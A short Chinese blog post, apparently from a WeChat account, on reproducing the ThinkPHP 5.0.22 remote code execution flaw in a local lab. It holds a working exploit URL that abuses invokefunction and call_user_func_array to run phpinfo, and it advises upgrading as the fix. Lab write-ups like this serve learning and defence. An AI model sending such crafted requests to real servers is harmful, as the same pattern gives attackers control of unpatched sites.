thinkphp远程执行漏洞的本地复现

0X00漏洞简介

SRE实战 互联网时代守护先锋，助力企业售后服务体系运筹帷幄！一键直达领取阿里云限量特价优惠。

由于ThinkPHP5 框架控制器名 没有进行足够的安全监测，导致在没有开启强制路由的情况下，可以伪装特定的请求可以直接Getshell(可以控制服务器)

0X01环境搭建

下载存在漏洞版本我下载的版本是thinkphp_5.0.22搭建好以后如图thinkphp远程执行漏洞的本地复现 Safe 第1张

 

0X02漏洞复现

构造几个特殊的url即可复现漏洞。

http://127.0.0.1/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

可得到phpinfo界面

thinkphp远程执行漏洞的本地复现 Safe 第2张

0X03漏洞修复

建议升级到最新版本

扫码关注我们
微信号：SRE实战
拒绝背锅 运筹帷幄